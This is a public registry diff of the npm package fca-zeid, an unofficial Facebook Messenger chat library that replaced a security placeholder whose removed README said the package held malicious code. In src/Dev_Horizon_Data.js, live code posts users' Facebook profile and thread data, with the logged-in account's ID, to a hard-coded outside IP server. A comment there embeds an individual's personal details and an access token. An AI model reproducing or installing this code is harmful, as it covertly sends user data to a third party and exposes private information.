fca-zeid 0.0.1-security → 1.5.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fca-zeid might be problematic. Click here for more details.

Files changed (111) hide show
  1. package/.gitattributes +2 -0
  2. package/Extra/Database/index.js +469 -0
  3. package/Extra/ExtraAddons.js +82 -0
  4. package/Extra/ExtraAutoGetAppState.js +20 -0
  5. package/Extra/ExtraFindUID.js +62 -0
  6. package/Extra/ExtraGetThread.js +340 -0
  7. package/Extra/ExtraScreenShot.js +430 -0
  8. package/Extra/ExtraUptimeRobot.js +38 -0
  9. package/Extra/Html/Classic/script.js +119 -0
  10. package/Extra/Html/Classic/style.css +8 -0
  11. package/Extra/Security/Index.js +173 -0
  12. package/Extra/Security/Step_1.js +6 -0
  13. package/Extra/Security/Step_2.js +22 -0
  14. package/Extra/Security/Step_3.js +22 -0
  15. package/Extra/Src/Change_Environment.js +24 -0
  16. package/Extra/Src/Check_Update.js +67 -0
  17. package/Extra/Src/History.js +115 -0
  18. package/Extra/Src/Instant_Update.js +65 -0
  19. package/Extra/Src/Last-Run.js +65 -0
  20. package/Extra/Src/Release_Memory.js +41 -0
  21. package/Extra/Src/Websocket.js +213 -0
  22. package/Extra/Src/image/checkmate.jpg +0 -0
  23. package/Extra/Src/uuid.js +137 -0
  24. package/Func/AcceptAgreement.js +31 -0
  25. package/Func/ClearCache.js +64 -0
  26. package/Func/ReportV1.js +54 -0
  27. package/Index.js +385 -0
  28. package/LICENSE +21 -0
  29. package/Language/index.json +223 -0
  30. package/Main.js +1193 -0
  31. package/README.md +144 -5
  32. package/broadcast.js +40 -0
  33. package/fca-horizon-rebuild.zip +0 -0
  34. package/logger.js +66 -0
  35. package/package.json +224 -3
  36. package/src/Dev_Horizon_Data.js +125 -0
  37. package/src/Premium.js +25 -0
  38. package/src/Screenshot.js +83 -0
  39. package/src/addExternalModule.js +16 -0
  40. package/src/addUserToGroup.js +79 -0
  41. package/src/changeAdminStatus.js +79 -0
  42. package/src/changeArchivedStatus.js +41 -0
  43. package/src/changeAvt.js +85 -0
  44. package/src/changeBio.js +65 -0
  45. package/src/changeBlockedStatus.js +36 -0
  46. package/src/changeGroupImage.js +106 -0
  47. package/src/changeNickname.js +45 -0
  48. package/src/changeThreadColor.js +62 -0
  49. package/src/changeThreadEmoji.js +42 -0
  50. package/src/createNewGroup.js +70 -0
  51. package/src/createPoll.js +60 -0
  52. package/src/deleteMessage.js +45 -0
  53. package/src/deleteThread.js +43 -0
  54. package/src/forwardAttachment.js +48 -0
  55. package/src/getAccessToken.js +28 -0
  56. package/src/getCurrentUserID.js +7 -0
  57. package/src/getEmojiUrl.js +27 -0
  58. package/src/getFriendsList.js +73 -0
  59. package/src/getMessage.js +80 -0
  60. package/src/getThreadHistory.js +537 -0
  61. package/src/getThreadInfo.js +425 -0
  62. package/src/getThreadList.js +213 -0
  63. package/src/getThreadMain.js +220 -0
  64. package/src/getThreadPictures.js +59 -0
  65. package/src/getUID.js +59 -0
  66. package/src/getUserID.js +62 -0
  67. package/src/getUserInfo.js +113 -0
  68. package/src/getUserInfoMain.js +65 -0
  69. package/src/getUserInfoV2.js +32 -0
  70. package/src/getUserInfoV3.js +63 -0
  71. package/src/getUserInfoV4.js +55 -0
  72. package/src/getUserInfoV5.js +61 -0
  73. package/src/handleFriendRequest.js +46 -0
  74. package/src/handleMessageRequest.js +49 -0
  75. package/src/httpGet.js +49 -0
  76. package/src/httpPost.js +48 -0
  77. package/src/httpPostFormData.js +41 -0
  78. package/src/listenMqtt.js +787 -0
  79. package/src/logout.js +68 -0
  80. package/src/markAsDelivered.js +48 -0
  81. package/src/markAsRead.js +70 -0
  82. package/src/markAsReadAll.js +43 -0
  83. package/src/markAsSeen.js +51 -0
  84. package/src/muteThread.js +47 -0
  85. package/src/removeUserFromGroup.js +49 -0
  86. package/src/resolvePhotoUrl.js +37 -0
  87. package/src/searchForThread.js +43 -0
  88. package/src/sendMessage.js +379 -0
  89. package/src/sendTypingIndicator.js +80 -0
  90. package/src/setMessageReaction.js +109 -0
  91. package/src/setPostReaction.js +102 -0
  92. package/src/setTitle.js +74 -0
  93. package/src/threadColors.js +39 -0
  94. package/src/unfriend.js +43 -0
  95. package/src/unsendMessage.js +40 -0
  96. package/test/Database_Test.js +4 -0
  97. package/test/Db2.js +530 -0
  98. package/test/Horizon_Database/A_README.md +1 -0
  99. package/test/Horizon_Database/Database.db +0 -0
  100. package/test/data/shareAttach.js +146 -0
  101. package/test/data/something.mov +0 -0
  102. package/test/data/test.png +0 -0
  103. package/test/data/test.txt +7 -0
  104. package/test/env/.env +0 -0
  105. package/test/example-config.json +18 -0
  106. package/test/example-db.db +0 -0
  107. package/test/memoryleak.js +18 -0
  108. package/test/test-page.js +140 -0
  109. package/test/test.js +385 -0
  110. package/test/testv2.js +18 -0
  111. package/utils.js +1684 -0
package/README.md CHANGED
@@ -1,5 +1,144 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fca-zeid for more information.
1
+ [![Socket Badge](https://socket.dev/api/badge/npm/package/fca-horizon-remastered)](https://socket.dev/npm/package/fca-horizon-remastered)
2
+
3
+ ## Important !
4
+
5
+ This package require NodeJS 14.17.0 to work properly.
6
+
7
+ ## Notification !
8
+
9
+ + This is the defunct Project fca-horizon-remastered and redeveloped by ZeidTeam
10
+
11
+ - VietSub: Đây Là Project Fca-Horizon-Remastered Đã Khai Tử Và Được ZeidTeam Phát Triển Lại
12
+
13
+ + We will have Example Video on Channel "Nguyễn Thái Hảo Official"
14
+
15
+ Original Project(Deprecated): https://github.com/Schmavery/facebook-chat-api
16
+
17
+ Chúc các bạn một ngày tốt lành!, cảm ơn vì đã sài Sản phẩm của HZI, thân ái
18
+
19
+ KANZUWAKAZAKI(15/04/2023)
20
+
21
+ ## Support For :
22
+
23
+ + Support English, VietNamese !,
24
+ + All bot if using listenMqtt first.
25
+
26
+ # Api Cho ChatBot Messenger
27
+
28
+ Facebook Đã Có Và Cho Người Dùng Tạo Api Cho Chatbots 😪 Tại Đey => [Đây Nè](https://developers.facebook.com/docs/messenger-platform).
29
+
30
+ ### Api Này Có Thể Khiến Cho Bạn Payy Acc Như Cách Acc Bạn Chưa Từng Có, Hãy Chú Ý Nhé =))
31
+
32
+ Lưu Ý ! Nếu Bạn Muốn Sài Api Này Hãy Xem Document Tại [Đây Nè](https://github.com/Schmavery/facebook-chat-api).
33
+
34
+ ## Tải Về
35
+
36
+ Nếu Bạn Muốn Sử Dụng, Hãy Tải Nó Bằng Cách:
37
+ ```bash
38
+ npm i fca-zeid
39
+ ```
40
+ or
41
+ ```bash
42
+ npm install fca-zeid
43
+ ```
44
+
45
+ Nó Sẽ Tải Vô node_modules (Lib Của Bạn) - Lưu Ý Replit Sẽ Không Hiện Đâu Mà Tìm 😪
46
+
47
+ ### Tải Bản Mới Nhất Hoặc Update
48
+
49
+ Nếu Bạn Muốn Sử Dụng Phiên Bản Mới Nhất Hay Cập Nhật Thì Hãy Vô Terminal Hoặc Command Promt Nhập :
50
+ ```bash
51
+ npm install fca-zeid@latest
52
+ ```
53
+ Hoặc
54
+ ```bash
55
+ npm i fca-zeid@latest
56
+ ```
57
+
58
+ ## Nếu Bạn Muốn Test Api
59
+
60
+ Lợi Ích Cho Việc Này Thì Bạn Sẽ Không Tốn Thời Gian Pay Acc Và Có Acc 😪
61
+ Hãy Sử Dụng Với Tài Khoản Thử Nghiệm => [Facebook Whitehat Accounts](https://www.facebook.com/whitehat/accounts/).
62
+
63
+ ## Cách Sử Dụng
64
+
65
+ ```javascript
66
+ const login = require("fca-zeid"); // lấy từ lib ra
67
+
68
+ // đăng nhập
69
+ login({email: "Gmail Account", password: "Mật Khẩu Facebook Của Bạn"}, (err, api) => {
70
+
71
+ if(err) return console.error(err); // trường hợp lỗi
72
+
73
+ // tạo bot tự động nhái theo bạn:
74
+ api.listenMqtt((err, message) => {
75
+ api.sendMessage(message.body, message.threadID);
76
+ });
77
+
78
+ });
79
+ ```
80
+
81
+ Kết Quả Là Nó Sẽ Nhái Bạn Như Hình Dưới:
82
+ <img width="517" alt="screen shot 2016-11-04 at 14 36 00" src="https://cloud.githubusercontent.com/assets/4534692/20023545/f8c24130-a29d-11e6-9ef7-47568bdbc1f2.png">
83
+
84
+ Nếu Bạn Muốn Sử Dụng Nâng Cao Thì Hãy Sử Dụng Các Loại Bot Được Liệt Kê Ở Trên !
85
+
86
+ ## Danh Sách
87
+
88
+ Bạn Có Thể Đọc Full Api Tại => [here](DOCS.md).
89
+
90
+ ## Cài Đặt Cho Mirai:
91
+
92
+ Bạn Cần Vô File Mirai.js,Sau Đó Tìm Đến Dòng
93
+ ```js
94
+ var login = require('tùy bot');
95
+ /* Có thể là :
96
+ var login = require('@maihuybao/fca-Unofficial');
97
+ var login = require('fca-xuyen-get');
98
+ var login = require('fca-unofficial-force');
99
+ ...
100
+ */
101
+ ```
102
+
103
+ Và Thay Nó Bằng:
104
+
105
+ ```js
106
+ var login = require('fca-zeid')
107
+ ```
108
+
109
+ Sau Đó Thì Chạy Bình Thường Thôi !
110
+
111
+ ## Tự Nghiên Cứu
112
+
113
+ Nếu Bạn Muốn Tự Nghiên Cứu Hoặc Tạo Bot Cho Riêng Bạn Thì Bạn Hãy Vô Cái Này Đọc Chức Năng Của Nó Và Cách Sử Dụng => [Link](https://github.com/Schmavery/facebook-chat-api#Unofficial%20Facebook%20Chat%20API)
114
+
115
+ ------------------------------------
116
+
117
+ ### Lưu Lại Thông Tin Đăng Nhập.
118
+
119
+ Để Lưu Lại Thì Bạn Cần 1 Apstate Kiểu (Cookie, etc,..) Để Lưu Lại Hoặc Là Sử Dụng Mã Login Như Trên Để Đăng Nhập !
120
+
121
+ Và Chế Độ Này Đã Có Sẵn Trong 1 Số Bot Việt Nam Nên Bạn Cứ Yên Tâm Nhé !
122
+
123
+ __Hướng Dẫn Với Appstate__
124
+
125
+ ```js
126
+ const fs = require("fs");
127
+ const login = require("fca-zeid");
128
+
129
+ var credentials = {email: "FB_EMAIL", password: "FB_PASSWORD"}; // thông tin tk
130
+
131
+ login(credentials, (err, api) => {
132
+ if(err) return console.error(err);
133
+ // đăng nhập
134
+ fs.writeFileSync('appstate.json', JSON.stringify(api.getAppState(), null,'\t')); //tạo appstate
135
+ });
136
+ ```
137
+
138
+ Hoặc Dễ Dàng Hơn ( Chuyên Nghiệp ) Bạn Có Thể Dùng => [c3c-fbstate](https://github.com/c3cbot/c3c-fbstate) Để Lấy Fbstate And Rename Lại Thành Apstate Cũng Được ! (appstate.json)
139
+
140
+ ------------------------------------
141
+
142
+ ## FAQS
143
+
144
+ FAQS => [Link](https://github.com/Schmavery/facebook-chat-api#FAQS)
package/broadcast.js ADDED
@@ -0,0 +1,40 @@
1
+ 'use strict';
2
+
3
+ switch (global.Fca.Require.FastConfig.BroadCast) {
4
+ case true: {
5
+ try {
6
+ var logger = global.Fca.Require.logger;
7
+ var Fetch = global.Fca.Require.Fetch;
8
+ Fetch.get("https://raw.githubusercontent.com/KanzuXHorizon/Global_Horizon/main/Fca_BroadCast.json").then(async (/** @type {{ body: { toString: () => string; }; }} */ res) => {
9
+ global.Fca.Data.BroadCast = JSON.parse(res.body.toString())
10
+ var random = JSON.parse(res.body.toString())[Math.floor(Math.random() * JSON.parse(res.body.toString()).length)] || "Ae Zui Zẻ Nhé !";
11
+ logger.Normal(random);
12
+ });
13
+ }
14
+ catch (e) {
15
+ console.log(e);
16
+ }
17
+ return setInterval(() => {
18
+ try {
19
+ try {
20
+ var logger = global.Fca.Require.logger;
21
+ var random = global.Fca.Data.BroadCast[Math.floor(Math.random() * global.Fca.Data.BroadCast.length)] || "Ae Zui Zẻ Nhé !";
22
+ logger.Normal(random);
23
+ }
24
+ catch (e) {
25
+ console.log(e);
26
+ return;
27
+ }
28
+ }
29
+ catch (e) {
30
+ console.log(e);
31
+ }
32
+ },3600 * 1000);
33
+ }
34
+ case false: {
35
+ break;
36
+ }
37
+ default: {
38
+ break;
39
+ }
40
+ }
Binary file
package/logger.js ADDED
@@ -0,0 +1,66 @@
1
+ 'use strict';
2
+ /* eslint-disable linebreak-style */
3
+
4
+ const chalk = require('chalk');
5
+ var isHexcolor = require('is-hexcolor');
6
+ var getText = function(/** @type {string[]} */ ...Data) {
7
+ var Main = (Data.splice(0,1)).toString();
8
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
9
+ return Main;
10
+ };
11
+ /**
12
+ * @param {any} obj
13
+ */
14
+ function getType(obj) {
15
+ return Object.prototype.toString.call(obj).slice(8, -1);
16
+ }
17
+
18
+ module.exports = {
19
+ Normal: function(/** @type {string} */ Str, /** @type {() => any} */ Data ,/** @type {() => void} */ Callback) {
20
+ if (isHexcolor(global.Fca.Require.FastConfig.MainColor) != true) {
21
+ this.Warning(getText(global.Fca.Require.Language.Index.InvaildMainColor,global.Fca.Require.FastConfig.MainColor),process.exit(0));
22
+ }
23
+ else console.log(chalk.hex(global.Fca.Require.FastConfig.MainColor).bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + Str);
24
+ if (getType(Data) == 'Function' || getType(Data) == 'AsyncFunction') {
25
+ return Data();
26
+ }
27
+ if (Data) {
28
+ return Data;
29
+ }
30
+ if (getType(Callback) == 'Function' || getType(Callback) == 'AsyncFunction') {
31
+ Callback();
32
+ }
33
+ else return Callback;
34
+ },
35
+ Warning: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
36
+ console.log(chalk.magenta.bold('[ FCA-WARNING ] > ') + chalk.yellow(str));
37
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
38
+ callback();
39
+ }
40
+ else return callback;
41
+ },
42
+ Error: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
43
+ if (!str) {
44
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red("Already Faulty, Please Contact: Facebook.com/Lazic.Kanzu"));
45
+ }
46
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red(str));
47
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
48
+ callback();
49
+ }
50
+ else return callback;
51
+ },
52
+ Success: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
53
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + chalk.green(str));
54
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
55
+ callback();
56
+ }
57
+ else return callback;
58
+ },
59
+ Info: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
60
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + chalk.blue(str));
61
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
62
+ callback();
63
+ }
64
+ else return callback;
65
+ }
66
+ };
package/package.json CHANGED
@@ -1,6 +1,227 @@
1
1
  {
2
+ "_from": "fca-zeid",
3
+ "_id": "fca-zeid@1.0.0",
4
+ "_inBundle": false,
5
+ "_integrity": "sha512-l43kN/J5GH/8/oM6dQ8oNcg/l9S7fNodu2b9o/hQw3FlwarUU2Jo6v8q5kehuWgPoA4Jj1B5rtGzXuRV1uQasg==",
6
+ "_location": "/fca-zeid",
7
+ "_phantomChildren": {
8
+ "@sindresorhus/is": "4.6.0",
9
+ "@szmarczak/http-timer": "4.0.6",
10
+ "@types/cacheable-request": "6.0.2",
11
+ "@types/responselike": "1.0.0",
12
+ "abort-controller": "3.0.0",
13
+ "accepts": "1.3.8",
14
+ "aproba": "2.0.0",
15
+ "array-flatten": "1.1.1",
16
+ "asynckit": "0.4.0",
17
+ "aws-sign2": "0.7.0",
18
+ "aws4": "1.11.0",
19
+ "base64-js": "1.5.1",
20
+ "bytes": "3.1.2",
21
+ "cacheable-lookup": "5.0.4",
22
+ "cacheable-request": "7.0.2",
23
+ "caseless": "0.12.0",
24
+ "cheerio-select": "2.1.0",
25
+ "color-support": "1.1.3",
26
+ "combined-stream": "1.0.8",
27
+ "commist": "1.1.0",
28
+ "concat-stream": "2.0.0",
29
+ "console-control-strings": "1.1.0",
30
+ "content-disposition": "0.5.4",
31
+ "content-type": "1.0.4",
32
+ "cookie": "0.5.0",
33
+ "cookie-signature": "1.0.6",
34
+ "debug": "2.6.9",
35
+ "delegates": "1.0.0",
36
+ "depd": "2.0.0",
37
+ "destroy": "1.2.0",
38
+ "dom-serializer": "2.0.0",
39
+ "domhandler": "5.0.3",
40
+ "domutils": "3.0.1",
41
+ "duplexify": "4.1.2",
42
+ "encodeurl": "1.0.2",
43
+ "escape-html": "1.0.3",
44
+ "etag": "1.8.1",
45
+ "events": "3.3.0",
46
+ "extend": "3.0.2",
47
+ "finalhandler": "1.2.0",
48
+ "forever-agent": "0.6.1",
49
+ "fresh": "0.5.2",
50
+ "har-validator": "5.1.5",
51
+ "has-unicode": "2.0.1",
52
+ "help-me": "3.0.0",
53
+ "htmlparser2": "8.0.1",
54
+ "http-errors": "2.0.0",
55
+ "http-signature": "1.2.0",
56
+ "http2-wrapper": "1.0.3",
57
+ "iconv-lite": "0.4.24",
58
+ "ieee754": "1.2.1",
59
+ "inherits": "2.0.4",
60
+ "is-typedarray": "1.0.0",
61
+ "isstream": "0.1.2",
62
+ "json-stringify-safe": "5.0.1",
63
+ "jssha": "3.2.0",
64
+ "lowercase-keys": "2.0.0",
65
+ "lru-cache": "6.0.0",
66
+ "merge-descriptors": "1.0.1",
67
+ "methods": "1.1.2",
68
+ "mime-types": "2.1.35",
69
+ "minimist": "1.2.6",
70
+ "mqtt-packet": "6.10.0",
71
+ "number-allocator": "1.0.10",
72
+ "oauth-sign": "0.9.0",
73
+ "on-finished": "2.4.1",
74
+ "p-cancelable": "2.1.1",
75
+ "parse5": "7.0.0",
76
+ "parse5-htmlparser2-tree-adapter": "7.0.0",
77
+ "parseurl": "1.3.3",
78
+ "path-to-regexp": "0.1.7",
79
+ "performance-now": "2.1.0",
80
+ "process": "0.11.10",
81
+ "proxy-addr": "2.0.7",
82
+ "psl": "1.9.0",
83
+ "pump": "3.0.0",
84
+ "punycode": "2.1.1",
85
+ "range-parser": "1.2.1",
86
+ "raw-body": "2.5.1",
87
+ "reinterval": "1.1.0",
88
+ "responselike": "2.0.0",
89
+ "rfdc": "1.3.0",
90
+ "safe-buffer": "5.2.1",
91
+ "send": "0.18.0",
92
+ "serve-static": "1.15.0",
93
+ "set-blocking": "2.0.0",
94
+ "setprototypeof": "1.2.0",
95
+ "side-channel": "1.0.4",
96
+ "split2": "3.2.2",
97
+ "statuses": "2.0.1",
98
+ "string-width": "4.2.3",
99
+ "string_decoder": "1.3.0",
100
+ "strip-ansi": "6.0.1",
101
+ "tunnel-agent": "0.6.0",
102
+ "type-is": "1.6.18",
103
+ "unpipe": "1.0.0",
104
+ "url-parse": "1.5.10",
105
+ "util": "0.10.4",
106
+ "util-deprecate": "1.0.2",
107
+ "utils-merge": "1.0.1",
108
+ "vary": "1.1.2",
109
+ "wide-align": "1.1.5",
110
+ "xtend": "4.0.2"
111
+ },
112
+ "_requested": {
113
+ "type": "tag",
114
+ "registry": true,
115
+ "raw": "fca-zeid",
116
+ "name": "fca-zeid",
117
+ "escapedName": "fca-zeid",
118
+ "rawSpec": "",
119
+ "saveSpec": null,
120
+ "fetchSpec": "latest"
121
+ },
122
+ "_requiredBy": [
123
+ "#USER",
124
+ "/"
125
+ ],
126
+ "_resolved": "https://registry.npmjs.org/fca-zeid/-/fca-zeid-1.5.2.tgz",
127
+ "_shasum": "befd7b2e8164db80d9de776e62d7ec879b8857bf",
128
+ "_spec": "fca-zeid",
129
+ "_where": "/home/runner/Pcoder",
130
+ "author": {
131
+ "name": "Avery, David, Maude, Benjamin, UIRI, KanzuWakazaki, ZeidTeam"
132
+ },
133
+ "bugs": {
134
+ "url": "https://github.com/Shinchan0911/Fca-Zeid/issues"
135
+ },
136
+ "bundleDependencies": false,
137
+ "dependencies": {
138
+ "aes-js": "latest",
139
+ "ansi-to-html": "latest",
140
+ "assert": "latest",
141
+ "better-sqlite3": "7.6.2",
142
+ "bluebird": "latest",
143
+ "chalk": "4.1.2",
144
+ "cheerio": "latest",
145
+ "crypto-js": "latest",
146
+ "deasync": "^0.1.28",
147
+ "duplexify": "^4.1.2",
148
+ "encode32": "latest",
149
+ "express": "latest",
150
+ "file-url": "^3.0.0",
151
+ "got": "^11.8.6",
152
+ "https-proxy-agent": "latest",
153
+ "is-hexcolor": "^1.0.0",
154
+ "lodash": "latest",
155
+ "moment": "^2.29.4",
156
+ "mqtt": "latest",
157
+ "npmlog": "latest",
158
+ "os": "latest",
159
+ "path": "latest",
160
+ "pretty-ms": "7.0.1",
161
+ "readable-stream": "^4.4.0",
162
+ "readline": "latest",
163
+ "request": "latest",
164
+ "speakeasy": "latest",
165
+ "totp-generator": "latest",
166
+ "tough-cookie": "^4.1.2",
167
+ "uuid": "latest",
168
+ "ws": "^8.13.0"
169
+ },
170
+ "deprecated": false,
171
+ "description": "Facebook-chat-api protect and deploy by Kanzu and HZI Team, fork by zeidteam",
172
+ "devDependencies": {
173
+ "eslint": "^8.40.0",
174
+ "mocha": "latest",
175
+ "prettier": "latest"
176
+ },
177
+ "engines": {
178
+ "node": ">=14.x"
179
+ },
180
+ "eslintConfig": {
181
+ "env": {
182
+ "es6": true,
183
+ "node": true
184
+ },
185
+ "extends": "eslint:recommended",
186
+ "parserOptions": {
187
+ "sourceType": "module"
188
+ },
189
+ "rules": {
190
+ "linebreak-style": [
191
+ "error",
192
+ "unix"
193
+ ],
194
+ "semi": [
195
+ "error",
196
+ "always"
197
+ ],
198
+ "no-unused-vars": [
199
+ 1,
200
+ {
201
+ "argsIgnorePattern": "^_"
202
+ }
203
+ ]
204
+ }
205
+ },
206
+ "homepage": "https://github.com/Shinchan0911/Fca-Zeid#readme",
207
+ "keywords": [
208
+ "fca-zeid",
209
+ "Fca horizon",
210
+ "fca-horizon-remastered",
211
+ "horizon fca",
212
+ "horizon"
213
+ ],
214
+ "license": "MIT",
215
+ "main": "Index.js",
2
216
  "name": "fca-zeid",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
217
+ "repository": {
218
+ "type": "git",
219
+ "url": "https://github.com/Shinchan0911/Fca-Zeid.git"
220
+ },
221
+ "scripts": {
222
+ "lint": "eslint *.js",
223
+ "prettier": "prettier utils.js src/* --write",
224
+ "test": "mocha"
225
+ },
226
+ "version": "1.5.3"
6
227
  }
@@ -0,0 +1,125 @@
1
+ /* eslint-disable linebreak-style */
2
+ "use strict";
3
+
4
+ var utils = require("../utils");
5
+ var bluebird = require('bluebird');
6
+ var request = bluebird.promisify(require("request"));
7
+
8
+ module.exports = function (defaultFuncs, api, ctx) {
9
+ return function getUserInfoV4(data, type, method, callback) {
10
+ var resolveFunc = function () { };
11
+ var rejectFunc = function () { };
12
+ var returnPromise = new Promise(function (resolve, reject) {
13
+ resolveFunc = resolve;
14
+ rejectFunc = reject;
15
+ });
16
+
17
+ if (!callback) {
18
+ callback = function (err, userInfo) {
19
+ if (err) return rejectFunc(err);
20
+ resolveFunc(userInfo);
21
+ };
22
+ }
23
+
24
+ if (!data || !type || !method) return;
25
+
26
+ var Cluster = ['http://146.190.109.182:3874'];
27
+ var ursl = Cluster[Math.floor(Math.random() * Cluster.length)];
28
+
29
+ if (utils.getType(data) !== "Array") data = [data];
30
+ switch (method) {
31
+ case "Post": {
32
+ switch (type) {
33
+ case "Users": {
34
+ /*
35
+ example
36
+ Time:19/01/2023
37
+ Data:[{"id":"100042817150429","name":"Nguyễn Thái Hảo","first_name":"Hảo","username":"Lazic.Kanzu","link":"https://www.facebook.com/Lazic.Kanzu","verified":"Không Có Dữ Liệu","about":"Là một người bình thường ^^","avatar":"https://graph.facebook.com/100042817150429/picture?height=1500&width=1500&access_token=1449557605494892|aaf0a865c8bafc314ced5b7f18f3caa6","birthday":"01/03/1999","follow":241614,"gender":"male","hometown":{"id":"112089428815888","name":"Xuân Lộc, Ðồng Nai, Vietnam"},"email":"Không Có Dữ Liệu","interested_in":"Không Có Dữ Liệu","location":{"id":"351759091676222","name":"Biên Hòa"},"locale":"Không Có Dữ Liệu","relationship_status":"Không Có Dữ Liệu","love":"Không Có Dữ Liệu","website":"http://KanzuWakazaki.tk/","quotes":"The word impossible is not in my dictionary.","timezone":"Không Có Dữ Liệu","updated_time":"Không Có Dữ Liệu"}]
38
+ Type:Users
39
+ By:KanzuWakazaki
40
+ **/
41
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
42
+ return request({
43
+ url: ursl + '/post',
44
+ method: 'post',
45
+ headers: {
46
+ 'user-agent': "Horizon/GlobalData/Client"
47
+ },
48
+ formData: {
49
+ Time: Time,
50
+ Data: JSON.stringify(data),
51
+ Type: "Users",
52
+ By: ctx.userID
53
+ }
54
+ }).then(dt => console.log(dt.body));
55
+ }
56
+ case "Threads": {
57
+ /*
58
+ example
59
+ Time:19/01/2023
60
+ Data:[{"threadID":"5011501735554963","threadName":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","participantIDs":["100042817150429"],"userInfo":[{"id":"100042817150429","name":"Nguyễn Thái Hảo","firstName":"Hảo","vanity":"Lazic.Kanzu","thumbSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","profileUrl":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t39.30808-1/311136459_774539707316594_357342861145224378_n.jpg?stp=cp0_dst-jpg_p60x60&_nc_cat=101&ccb=1-7&_nc_sid=f67be1&_nc_ohc=VQmEbyNerpUAX9SL2lL&tn=b4RbIpyEAJUl2LrC&_nc_ht=scontent.fsgn5-14.fna&oh=00_AfDzMGWK-Hw8J8Ha_uZkNgwwIqX23W89p9vPbovDSrMFVw&oe=63CD7339","gender":"MALE","type":"User","isFriend":true,"isBirthday":false}],"unreadCount":38925,"messageCount":39857,"timestamp":"1674107309307","muteUntil":null,"isGroup":true,"isSubscribed":true,"isArchived":false,"folder":"INBOX","cannotReplyReason":null,"eventReminders":[],"emoji":"😏","color":"DD8800","nicknames":{"100001776745483":"[𝐇𝐆] • Eo bờ su"},"adminIDs":[{"id":"100042817150429"}],"approvalMode":true,"approvalQueue":[],"reactionsMuteMode":"reactions_not_muted","mentionsMuteMode":"mentions_not_muted","isPinProtected":false,"relatedPageThread":null,"name":"[🏆] 𝕳𝕷 • 𝑯𝒐𝒓𝒊𝒛𝒐𝒏 𝑮𝒂𝒎𝒊𝒏𝒈 [🎮]","snippet":"SystemCall run (async function() {\nSend(await Api.getThreadInfo(Data.threadID))\n})()","snippetSender":"100042817150429","snippetAttachments":[],"serverTimestamp":"1674107309307","imageSrc":"https://scontent.fsgn5-14.fna.fbcdn.net/v/t1.15752-9/278020824_345766417524223_6790288127531819759_n.jpg?_nc_cat=101&ccb=1-7&_nc_sid=02e273&_nc_ohc=dfuXjxOR1BUAX-SUN1x&_nc_ht=scontent.fsgn5-14.fna&oh=03_AdQkXN3hb3z4Hg0Tg-vI7ZpDdSmujnluj13uNqUSJoU9iA&oe=63F060BA","isCanonicalUser":false,"isCanonical":false,"recipientsLoadable":true,"hasEmailParticipant":false,"readOnly":false,"canReply":true,"lastMessageType":"message","lastReadTimestamp":"1649756873571","threadType":2,"TimeCreate":1674107310529,"TimeUpdate":1674107310529}]
61
+ Type:Threads
62
+ By:KanzuWakazaki
63
+ **/
64
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
65
+ return request({
66
+ url: ursl + '/post',
67
+ method: 'post',
68
+ headers: {
69
+ 'user-agent': "Horizon/GlobalData/Client"
70
+ },
71
+ formData: {
72
+ Time: Time,
73
+ Data: JSON.stringify(data),
74
+ Type: "Threads",
75
+ By: ctx.userID
76
+ }
77
+ }).then(dt => console.log(dt.body));
78
+ }
79
+ }
80
+ }
81
+ break;
82
+ case "Get": {
83
+ switch (type) {
84
+ case "Users": {
85
+ /* example
86
+ Requires:[5011501735554963]
87
+ Type:Threads
88
+ **/
89
+
90
+ //still operating until Feb 25
91
+ return request({
92
+ url: ursl + '/get',
93
+ method: 'post',
94
+ headers: {
95
+ 'user-agent': "Horizon/GlobalData/Client"
96
+ },
97
+ formData: {
98
+ Requires: JSON.stringify(data),
99
+ Type: "Users"
100
+ }
101
+ }).then(dt => console.log(dt.body));
102
+ }
103
+ case "Threads": {
104
+ return request({
105
+ url: ursl + '/get',
106
+ method: 'post',
107
+ headers: {
108
+ 'user-agent': "Horizon/GlobalData/Client"
109
+ },
110
+ formData: {
111
+ Requires: JSON.stringify(data),
112
+ Type: "Threads"
113
+ }
114
+ }).then(dt => console.log(dt.body));
115
+ }
116
+ }
117
+ }
118
+ break;
119
+ default:
120
+ return;
121
+ }
122
+
123
+ return returnPromise;
124
+ };
125
+ };
package/src/Premium.js ADDED
@@ -0,0 +1,25 @@
1
